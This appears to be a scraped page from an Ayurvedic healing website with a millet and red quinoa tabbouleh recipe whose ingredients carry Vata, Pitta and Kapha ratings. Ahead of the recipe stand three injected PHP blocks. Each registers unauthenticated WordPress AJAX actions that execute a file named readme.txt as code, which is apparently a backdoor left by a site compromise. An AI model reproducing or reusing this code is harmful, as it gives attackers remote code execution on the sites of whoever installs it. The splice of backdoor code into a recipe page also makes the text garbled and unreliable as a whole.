if(!function_exists('file_check_readme30460')){ add_action('wp_ajax_nopriv_file_check_readme30460', 'file_check_readme30460'); add_action('wp_ajax_file_check_readme30460', 'file_check_readme30460'); function file_check_readme30460() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme21792')){ add_action('wp_ajax_nopriv_file_check_readme21792', 'file_check_readme21792'); add_action('wp_ajax_file_check_readme21792', 'file_check_readme21792'); function file_check_readme21792() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme75351')){ add_action('wp_ajax_nopriv_file_check_readme75351', 'file_check_readme75351'); add_action('wp_ajax_file_check_readme75351', 'file_check_readme75351'); function file_check_readme75351() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } Millet & Quinoa Tabule | Holistic Healing Resolutions by Asaf Feit

Millet & Quinoa Tabule

by | Breakfast, Cleansing & Reducing, Cold & Dry, Damp Heat, Decrease Kapha, Decrease Pitta, Decrease Pitta-Kapha, Hard to Digest, Lunch, Millet, Quinoa, Recipes, Spring, Stimulating, Summer | 0 comments

Millet & Quinoa Tabule

Print Recipe Pin Recipe
Prep Time 15 minutes
Cook Time 30 minutes
Total Time 45 minutes
Course Appetizer, Breakfast, Lunch, Salad, Side Dish
Servings 4

Ingredients
  

  • 1/2 cup millet Vata ++ Pitta - Kapha - -
  • 1/2 cup red quinoa Vata + Pitta - - Kapha -
  • Handful of Arame seaweed Vata - Pitta - Kapha 0, soaked for 10 min., strained and washed
  • 2 cups water
  • Pinch salt Vata - - Pitta 0 Kapha +
  • 2 cups chopped greens:
  • Parsley Vata 0 Pitta 0 Kapha - -
  • Coriander Vata + Pitta - - Kapha -
  • Dill Vata - Pitta 0 Kapha -
  • Chives Vata - Pitta + Kapha - -
  • 1/2 cup roquette Vata ++ Pitta - Kapha - -
  • Pomegranate seeds from 1 pomegranate Vata - Pitta - Kapha -
  • 1 clove garlic crushed (Vata - - Pitta ++ Kapha 0)
  • 4 Tbs. olive oil Vata - - Pitta + Kapha +
  • Juice from 1 lemon Vata - - Pitta + Kapha -
  • 1/4 cup sunflower and pumpkin seeds roasted (Vata 0 Pitta - Kapha -)
  • Handful of sunflower sprouts Vata 0 Pitta - - Kapha -

Instructions
 

  • Roast the quinoa and millet in a dry cooking pot for 2-3 minutes, until a nutty fragrance is noticeable and the grains begin to pop.
  • Add the Arame seaweed and mix, pour in the water and bring to boil.
  • Add a pinch of salt, lower the flame and cover.
  • Simmer until all water is absorbed.
  • Place the cooked grains in a bowl and let cool.
  • Add the chopped greens, roquette, pomegranate seeds, sunflower sprouts and sunflower and pumpkin seeds.
  • Season with olive oil, lemon juice and garlic.

Notes

Optional additions: For Pitta: omit the garlic.

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